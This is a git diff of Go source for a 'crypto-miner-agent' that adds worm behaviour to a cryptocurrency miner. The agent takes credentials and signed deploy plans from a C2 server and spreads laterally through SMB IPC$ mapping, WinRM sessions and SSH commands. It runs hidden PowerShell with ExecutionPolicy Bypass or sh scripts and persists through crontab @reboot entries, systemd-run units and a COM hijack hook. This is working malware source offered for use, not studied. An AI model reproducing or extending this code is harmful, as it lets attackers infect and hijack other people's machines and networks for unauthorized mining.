type spreadCredBootstrapFn func(host, subnet, method string) (SpreadCredSession, error)
|
||||||
|
type spreadCredReporterFn func(SpreadCredReport)
|
||||||
|
|
||||||
|
var (
|
||||||
|
spreadCredHooksMu sync.RWMutex
|
||||||
|
spreadCredBoot spreadCredBootstrapFn
|
||||||
|
spreadCredReport spreadCredReporterFn
|
||||||
|
)
|
||||||
|
|
||||||
|
// SetSpreadCredHooks wires server-backed bootstrap tokens from the agent client.
|
||||||
|
func SetSpreadCredHooks(bootstrap spreadCredBootstrapFn, report spreadCredReporterFn) {
|
||||||
|
spreadCredHooksMu.Lock()
|
||||||
|
spreadCredBoot = bootstrap
|
||||||
|
spreadCredReport = report
|
||||||
|
spreadCredHooksMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func acquireSpreadCred(host, method string) (SpreadCredSession, bool) {
|
||||||
|
subnet := getSubnet(strings.TrimSpace(host))
|
||||||
|
if subnet == "" {
|
||||||
|
return SpreadCredSession{}, false
|
||||||
|
}
|
||||||
|
spreadCredHooksMu.RLock()
|
||||||
|
bootstrap := spreadCredBoot
|
||||||
|
spreadCredHooksMu.RUnlock()
|
||||||
|
if bootstrap == nil {
|
||||||
|
return SpreadCredSession{}, false
|
||||||
|
}
|
||||||
|
session, err := bootstrap(host, subnet, method)
|
||||||
|
if err != nil || strings.TrimSpace(session.ProfileID) == "" {
|
||||||
|
return SpreadCredSession{}, false
|
||||||
|
}
|
||||||
|
return session, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func reportSpreadCredEdge(host, method string, session SpreadCredSession, success bool) {
|
||||||
|
if strings.TrimSpace(session.ProfileID) == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
subnet := getSubnet(strings.TrimSpace(host))
|
||||||
|
if subnet == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
spreadCredHooksMu.RLock()
|
||||||
|
report := spreadCredReport
|
||||||
|
spreadCredHooksMu.RUnlock()
|
||||||
|
if report == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
report(SpreadCredReport{
|
||||||
|
Host: host,
|
||||||
|
Subnet: subnet,
|
||||||
|
ProfileID: session.ProfileID,
|
||||||
|
Method: method,
|
||||||
|
Success: success,
|
||||||
|
})
|
||||||
|
}
|
||||||
11
agent/deploy/cred_spread_stub.go
Normal file
11
agent/deploy/cred_spread_stub.go
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
func applySpreadCredSession(_ string, _ SpreadCredSession) (cleanup func(), ok bool) {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
|
||||||
|
func winRMCredPSBlock(target string, _ SpreadCredSession, innerScript string) string {
|
||||||
|
return innerScript
|
||||||
|
}
|
||||||
43
agent/deploy/cred_spread_windows.go
Normal file
43
agent/deploy/cred_spread_windows.go
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func applySpreadCredSession(target string, session SpreadCredSession) (cleanup func(), ok bool) {
|
||||||
|
target = strings.TrimSpace(target)
|
||||||
|
user := strings.TrimSpace(session.Username)
|
||||||
|
pass := session.Password
|
||||||
|
if target == "" || user == "" || pass == "" {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
userArg := user
|
||||||
|
if !strings.Contains(user, `\`) && !strings.Contains(user, `@`) {
|
||||||
|
userArg = target + `\` + user
|
||||||
|
}
|
||||||
|
share := `\\` + target + `\IPC$`
|
||||||
|
if err := HiddenRun("net.exe", "use", share, pass, "/user:"+userArg); err != nil {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
return func() {
|
||||||
|
_ = HiddenRun("net.exe", "use", share, "/delete", "/y")
|
||||||
|
}, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func winRMCredPSBlock(target string, session SpreadCredSession, innerScript string) string {
|
||||||
|
user := strings.ReplaceAll(session.Username, `'`, `''`)
|
||||||
|
pass := strings.ReplaceAll(session.Password, `'`, `''`)
|
||||||
|
target = strings.ReplaceAll(target, `'`, `''`)
|
||||||
|
return fmt.Sprintf(`
|
||||||
|
$sec = ConvertTo-SecureString '%s' -AsPlainText -Force
|
||||||
|
$cred = New-Object System.Management.Automation.PSCredential('%s', $sec)
|
||||||
|
$s = New-PSSession -ComputerName '%s' -Credential $cred -EA SilentlyContinue
|
||||||
|
if ($s) {
|
||||||
|
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
|
||||||
|
Remove-PSSession $s -EA SilentlyContinue
|
||||||
|
}
|
||||||
|
`, pass, user, target, innerScript)
|
||||||
|
}
|
||||||
@@ -105,12 +105,32 @@ func sanitizeDesktopFilename(name string) string {
|
|||||||
return filepath.Join(clean...)
|
return filepath.Join(clean...)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func remotePathHasTraversal(remote string) bool {
|
||||||
|
remote = strings.TrimSpace(remote)
|
||||||
|
if remote == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(remote, "~/") {
|
||||||
|
remote = remote[2:]
|
||||||
|
}
|
||||||
|
remote = strings.ReplaceAll(remote, "\\", "/")
|
||||||
|
for _, part := range strings.Split(remote, "/") {
|
||||||
|
if part == ".." {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
|
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
|
||||||
func ResolveRemotePath(remote string) (string, error) {
|
func ResolveRemotePath(remote string) (string, error) {
|
||||||
remote = strings.TrimSpace(remote)
|
remote = strings.TrimSpace(remote)
|
||||||
if remote == "" {
|
if remote == "" {
|
||||||
return "", fmt.Errorf("remote path is empty")
|
return "", fmt.Errorf("remote path is empty")
|
||||||
}
|
}
|
||||||
|
if remotePathHasTraversal(remote) {
|
||||||
|
return "", fmt.Errorf("path traversal (..) is not allowed")
|
||||||
|
}
|
||||||
lower := strings.ToLower(remote)
|
lower := strings.ToLower(remote)
|
||||||
if strings.HasPrefix(lower, "desktop:") {
|
if strings.HasPrefix(lower, "desktop:") {
|
||||||
return ResolveDesktopFile(remote[len("desktop:"):])
|
return ResolveDesktopFile(remote[len("desktop:"):])
|
||||||
|
|||||||
239
agent/deploy/discover_join.go
Normal file
239
agent/deploy/discover_join.go
Normal file
@@ -0,0 +1,239 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/hmac"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
|
||||||
|
type DeployPlanBody struct {
|
||||||
|
JoinLane string `json:"join_lane"`
|
||||||
|
MatchedService string `json:"matched_service,omitempty"`
|
||||||
|
Action string `json:"action"`
|
||||||
|
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||||
|
Script string `json:"script,omitempty"`
|
||||||
|
UNCPath string `json:"unc_path,omitempty"`
|
||||||
|
MaxHosts int `json:"max_hosts,omitempty"`
|
||||||
|
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||||
|
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
||||||
|
type DeployPlanResponse struct {
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
JoinLane string `json:"join_lane"`
|
||||||
|
MatchedService string `json:"matched_service,omitempty"`
|
||||||
|
Plan DeployPlanBody `json:"plan"`
|
||||||
|
Signature string `json:"signature"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
|
||||||
|
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||||||
|
if fleetSecret == "" || signature == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
payload, err := json.Marshal(plan)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||||
|
mac.Write(payload)
|
||||||
|
expected := hex.EncodeToString(mac.Sum(nil))
|
||||||
|
return hmac.Equal([]byte(expected), []byte(signature))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
||||||
|
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
||||||
|
lane := strings.TrimSpace(plan.JoinLane)
|
||||||
|
if lane == "" {
|
||||||
|
lane = strings.TrimSpace(plan.Action)
|
||||||
|
}
|
||||||
|
switch lane {
|
||||||
|
case "bits_curl", "docker_load":
|
||||||
|
if plan.Manifest == nil {
|
||||||
|
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
||||||
|
}
|
||||||
|
msg, err := RunStagingChain(cfg, *plan.Manifest)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if lane == "docker_load" && plan.ImageTarURL != "" {
|
||||||
|
msg += "; docker_load image=" + plan.ImageTarURL
|
||||||
|
}
|
||||||
|
return msg, nil
|
||||||
|
case "winrm":
|
||||||
|
if err := runJoinScript(plan.Script, true); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return "winrm bootstrap script executed", nil
|
||||||
|
case "gpo":
|
||||||
|
if err := runJoinScript(plan.Script, true); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return "gpo startup script executed", nil
|
||||||
|
case "linux_lotl":
|
||||||
|
if err := runJoinScript(plan.Script, false); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return "linux lotl bootstrap executed", nil
|
||||||
|
case "spread_smb_unc":
|
||||||
|
unc := strings.TrimSpace(plan.UNCPath)
|
||||||
|
if unc == "" {
|
||||||
|
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
|
||||||
|
}
|
||||||
|
max := plan.MaxHosts
|
||||||
|
if max <= 0 {
|
||||||
|
max = 64
|
||||||
|
}
|
||||||
|
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
|
||||||
|
return msg, nil
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("unsupported join lane %q", lane)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func runJoinScript(script string, windows bool) error {
|
||||||
|
script = strings.TrimSpace(script)
|
||||||
|
if script == "" {
|
||||||
|
return fmt.Errorf("empty join script")
|
||||||
|
}
|
||||||
|
if windows || runtime.GOOS == "windows" {
|
||||||
|
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
|
}
|
||||||
|
return HiddenRun("/bin/sh", "-c", script)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
|
||||||
|
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
|
||||||
|
var out []DeployServiceFinding
|
||||||
|
appendHost := func(host ServiceGraphHost) {
|
||||||
|
for _, svc := range host.Services {
|
||||||
|
name := strings.TrimSpace(svc.ServiceName)
|
||||||
|
if name == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, DeployServiceFinding{
|
||||||
|
Name: name,
|
||||||
|
Status: serviceStatusForPlan(svc),
|
||||||
|
DisplayName: name,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
appendHost(result.Local)
|
||||||
|
for _, h := range result.LANHosts {
|
||||||
|
appendHost(h)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeployServiceFinding mirrors the server deploy-plan request service row.
|
||||||
|
type DeployServiceFinding struct {
|
||||||
|
Name string `json:"name"`
|
||||||
|
DisplayName string `json:"display_name,omitempty"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
StartType string `json:"start_type,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
|
||||||
|
func PickLocalJoinLane(discoveryJSON string) string {
|
||||||
|
result, err := ParseServiceDiscoverJSON(discoveryJSON)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var best string
|
||||||
|
for _, svc := range result.Local.Services {
|
||||||
|
lane := strings.TrimSpace(svc.JoinLaneCandidate)
|
||||||
|
if lane == "" {
|
||||||
|
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
|
||||||
|
}
|
||||||
|
if lane != "" {
|
||||||
|
best = lane
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return best
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
|
||||||
|
// fetchPlan is injected for tests.
|
||||||
|
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
||||||
|
|
||||||
|
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||||
|
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
||||||
|
result, parseErr := ParseServiceDiscoverJSON(raw)
|
||||||
|
if parseErr != nil {
|
||||||
|
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
|
||||||
|
}
|
||||||
|
services := ServicesForDeployPlan(result)
|
||||||
|
if len(services) == 0 {
|
||||||
|
return "", "", fmt.Errorf("no services discovered")
|
||||||
|
}
|
||||||
|
|
||||||
|
uncPath := firstSMBShareUNC(result)
|
||||||
|
resp, err := fetchPlan(services, uncPath)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
if !resp.OK && resp.Error != "" {
|
||||||
|
return "", "", fmt.Errorf("%s", resp.Error)
|
||||||
|
}
|
||||||
|
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
|
||||||
|
return "", "", fmt.Errorf("no allowlisted running services matched")
|
||||||
|
}
|
||||||
|
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
|
||||||
|
return "", "", fmt.Errorf("deploy plan signature invalid")
|
||||||
|
}
|
||||||
|
joinLane = resp.JoinLane
|
||||||
|
if joinLane == "" {
|
||||||
|
joinLane = resp.Plan.JoinLane
|
||||||
|
}
|
||||||
|
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
|
||||||
|
if err != nil {
|
||||||
|
return joinLane, "", err
|
||||||
|
}
|
||||||
|
return joinLane, msg, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// runServiceDiscoverFn allows tests to stub discovery output.
|
||||||
|
var runServiceDiscoverFn func(maxLANHosts int) string
|
||||||
|
|
||||||
|
func RunServiceDiscoverForJoin(maxLANHosts int) string {
|
||||||
|
if runServiceDiscoverFn != nil {
|
||||||
|
return runServiceDiscoverFn(maxLANHosts)
|
||||||
|
}
|
||||||
|
return RunServiceDiscover(maxLANHosts)
|
||||||
|
}
|
||||||
|
|
||||||
|
func firstSMBShareUNC(result ServiceDiscoverResult) string {
|
||||||
|
for _, h := range result.LANHosts {
|
||||||
|
for _, svc := range h.Services {
|
||||||
|
name := strings.ToLower(svc.ServiceName)
|
||||||
|
if strings.HasPrefix(name, "smb-share:") {
|
||||||
|
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
|
||||||
|
if share != "" && h.Host != "" {
|
||||||
|
return `\\` + h.Host + `\` + share
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func serviceStatusForPlan(svc ServiceGraphEntry) string {
|
||||||
|
if st := strings.TrimSpace(svc.Status); st != "" {
|
||||||
|
return st
|
||||||
|
}
|
||||||
|
switch svc.Source {
|
||||||
|
case "lan_port", "smb_share", "passive_hint":
|
||||||
|
return "running"
|
||||||
|
default:
|
||||||
|
return "running"
|
||||||
|
}
|
||||||
|
}
|
||||||
78
agent/deploy/discover_join_test.go
Normal file
78
agent/deploy/discover_join_test.go
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/hmac"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestVerifyDeployPlanSignatureAgent(t *testing.T) {
|
||||||
|
plan := DeployPlanBody{
|
||||||
|
JoinLane: "winrm",
|
||||||
|
Action: "winrm",
|
||||||
|
Script: "# noop",
|
||||||
|
}
|
||||||
|
payload, _ := json.Marshal(plan)
|
||||||
|
mac := hmac.New(sha256.New, []byte("fleet-test"))
|
||||||
|
mac.Write(payload)
|
||||||
|
sig := hex.EncodeToString(mac.Sum(nil))
|
||||||
|
if !VerifyDeployPlanSignature(plan, sig, "fleet-test") {
|
||||||
|
t.Fatal("expected valid signature")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
FleetSecret: "fleet-test",
|
||||||
|
WorkerName: "test-worker",
|
||||||
|
ServerURL: "http://127.0.0.1:8989",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
|
||||||
|
if len(services) == 0 {
|
||||||
|
t.Fatal("expected services")
|
||||||
|
}
|
||||||
|
if services[0].Name != "CCMEXEC" {
|
||||||
|
t.Fatalf("service=%q", services[0].Name)
|
||||||
|
}
|
||||||
|
plan := DeployPlanBody{
|
||||||
|
JoinLane: "gpo",
|
||||||
|
Action: "gpo",
|
||||||
|
Script: "$env:AETHER_DEFER_MINING='1'",
|
||||||
|
}
|
||||||
|
payload, _ := json.Marshal(plan)
|
||||||
|
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
||||||
|
mac.Write(payload)
|
||||||
|
return DeployPlanResponse{
|
||||||
|
OK: true,
|
||||||
|
JoinLane: "gpo",
|
||||||
|
Plan: plan,
|
||||||
|
Signature: hex.EncodeToString(mac.Sum(nil)),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Inject fake discovery via ParseServiceDiscoverJSON path
|
||||||
|
oldDiscover := runServiceDiscoverFn
|
||||||
|
runServiceDiscoverFn = func(maxLANHosts int) string {
|
||||||
|
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"CCMEXEC","status":"running","join_lane_candidate":"gpo","source":"local_service"}]}}`
|
||||||
|
}
|
||||||
|
defer func() { runServiceDiscoverFn = oldDiscover }()
|
||||||
|
|
||||||
|
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
||||||
|
if err != nil {
|
||||||
|
// gpo script execution may fail on non-windows — still expect lane selection + signature pass
|
||||||
|
if lane != "gpo" {
|
||||||
|
t.Fatalf("lane=%q err=%v", lane, err)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if lane != "gpo" {
|
||||||
|
t.Fatalf("lane=%q detail=%q", lane, detail)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -59,13 +59,16 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
|||||||
return false, fmt.Errorf("autostart: %w", err)
|
return false, fmt.Errorf("autostart: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
MaybeApplyCOMHijackOnInstall(cfg, installedBin)
|
||||||
|
applyLinuxLOTLPersistence(cfg, installedBin)
|
||||||
|
|
||||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
EnsureFirewallExclusion(cfg, installedBin)
|
EnsureFirewallExclusion(cfg, installedBin)
|
||||||
|
|
||||||
if err := relaunch(installedBin, logPath); err != nil {
|
if err := relaunchWithOptions(installedBin, logPath, wantsSpreadInstall() || WantsDeferMining()); err != nil {
|
||||||
return false, fmt.Errorf("start installed miner: %w", err)
|
return false, fmt.Errorf("start installed miner: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
78
agent/deploy/linux_lotl.go
Normal file
78
agent/deploy/linux_lotl.go
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install.
|
||||||
|
func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) {
|
||||||
|
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
||||||
|
if mode == "" || mode == "off" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
runArgs := "--run"
|
||||||
|
if WantsDeferMining() {
|
||||||
|
runArgs += " --defer-mining"
|
||||||
|
}
|
||||||
|
if mode == "systemd_run_user" || mode == "both" {
|
||||||
|
unit := sanitizeName(cfg.WorkerName) + "-worker"
|
||||||
|
if unit == "-worker" {
|
||||||
|
unit = "aetherforge-worker"
|
||||||
|
}
|
||||||
|
args := []string{"--user", "--unit=" + unit + ".service", binPath}
|
||||||
|
args = append(args, strings.Fields(runArgs)...)
|
||||||
|
if err := exec.Command("systemd-run", args...).Run(); err != nil {
|
||||||
|
log.Printf("[lotl] systemd-run --user failed: %v", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("[lotl] systemd-run --user registered %s", unit)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if mode == "crontab" || mode == "both" {
|
||||||
|
line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs)
|
||||||
|
out, _ := exec.Command("crontab", "-l").Output()
|
||||||
|
existing := string(out)
|
||||||
|
if strings.Contains(existing, binPath) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
newCrontab := strings.TrimSpace(existing)
|
||||||
|
if newCrontab != "" {
|
||||||
|
newCrontab += "\n"
|
||||||
|
}
|
||||||
|
newCrontab += line + "\n"
|
||||||
|
cmd := exec.Command("crontab", "-")
|
||||||
|
cmd.Stdin = strings.NewReader(newCrontab)
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
log.Printf("[lotl] crontab persist failed: %v", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("[lotl] crontab @reboot entry added")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// sshSpreadStartCmd builds remote start with spread + defer-mining flags.
|
||||||
|
func sshSpreadStartCmd(remotePath string) string {
|
||||||
|
return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath)
|
||||||
|
}
|
||||||
|
|
||||||
|
// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required).
|
||||||
|
func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string {
|
||||||
|
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
||||||
|
if mode == "" || mode == "off" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var parts []string
|
||||||
|
if mode == "systemd_run_user" || mode == "both" {
|
||||||
|
parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath))
|
||||||
|
}
|
||||||
|
if mode == "crontab" || mode == "both" {
|
||||||
|
parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath))
|
||||||
|
}
|
||||||
|
return strings.Join(parts, "; ")
|
||||||
|
}
|
||||||
9
agent/deploy/linux_lotl_stub.go
Normal file
9
agent/deploy/linux_lotl_stub.go
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "crypto-miner-agent/config"
|
||||||
|
|
||||||
|
func applyLinuxLOTLPersistence(_ config.RuntimeConfig, _ string) {}
|
||||||
|
func sshSpreadStartCmd(remotePath string) string { return "" }
|
||||||
|
func sshSpreadPersistCmd(_ config.RuntimeConfig, _ string) string { return "" }
|
||||||
47
agent/deploy/lotl_onion.go
Normal file
47
agent/deploy/lotl_onion.go
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StartLotlOnion runs the ordered LOTL spread tier chain when enabled at forge time.
|
||||||
|
// Each tier uses native OS tooling — no extra miner exe drop beyond the forged agent.
|
||||||
|
func StartLotlOnion(cfg config.RuntimeConfig) {
|
||||||
|
if !cfg.LotlOnionEnabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tiers := NormalizeLotlTiers(cfg.LotlOnionTiers)
|
||||||
|
log.Printf("[lotl-onion] starting tier chain: %v (server_policy=%v)", tiers, cfg.LotlPolicyFromServer)
|
||||||
|
go runLotlOnionChain(cfg, tiers)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TryDiscoverJoinLane attempts one discover_and_join deploy lane (exported for triple onion).
|
||||||
|
func TryDiscoverJoinLane(cfg config.RuntimeConfig, lane string) (bool, string) {
|
||||||
|
return tryLotlTier(cfg, lane)
|
||||||
|
}
|
||||||
|
|
||||||
|
// reportOnlyLotlTiers run recon probes without ending the spread chain.
|
||||||
|
var reportOnlyLotlTiers = map[string]struct{}{
|
||||||
|
"vuln_recon": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
func runLotlOnionChain(cfg config.RuntimeConfig, tiers []string) {
|
||||||
|
// Stagger first pass so C2 auth and mining bootstrap settle first.
|
||||||
|
time.Sleep(2 * time.Minute)
|
||||||
|
for _, tier := range tiers {
|
||||||
|
ok, reason := tryLotlTier(cfg, tier)
|
||||||
|
if ok {
|
||||||
|
if _, reportOnly := reportOnlyLotlTiers[tier]; reportOnly {
|
||||||
|
log.Printf("[lotl-onion] tier %s complete: %s (report-only, continuing)", tier, reason)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
log.Printf("[lotl-onion] tier %s succeeded", tier)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[lotl-onion] tier %s skipped: %s", tier, reason)
|
||||||
|
}
|
||||||
|
log.Printf("[lotl-onion] all tiers exhausted — no lateral path succeeded")
|
||||||
|
}
|
||||||
27
agent/deploy/lotl_onion_stub.go
Normal file
27
agent/deploy/lotl_onion_stub.go
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
||||||
|
switch tier {
|
||||||
|
case "vuln_recon":
|
||||||
|
RunVulnRecon(HostOSVersion())
|
||||||
|
return true, "vuln recon complete (report only)"
|
||||||
|
case "linux":
|
||||||
|
if cfg.AutoSpread {
|
||||||
|
go RunSpreadOnce(cfg)
|
||||||
|
return true, "ssh lateral sweep started"
|
||||||
|
}
|
||||||
|
return false, "auto_spread disabled"
|
||||||
|
case "docker":
|
||||||
|
return false, "container tier stub on non-windows"
|
||||||
|
case "bits_curl":
|
||||||
|
return true, "curl|bash install one-liner available"
|
||||||
|
default:
|
||||||
|
return false, "tier not supported on this platform"
|
||||||
|
}
|
||||||
|
}
|
||||||
52
agent/deploy/lotl_onion_stub_test.go
Normal file
52
agent/deploy/lotl_onion_stub_test.go
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestTryLotlTierLinuxAutoSpread(t *testing.T) {
|
||||||
|
ok, msg := tryLotlTier(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{AutoSpread: true},
|
||||||
|
}, "linux")
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("linux tier should succeed with auto_spread, got %q", msg)
|
||||||
|
}
|
||||||
|
if !strings.Contains(msg, "ssh") {
|
||||||
|
t.Fatalf("msg=%q", msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
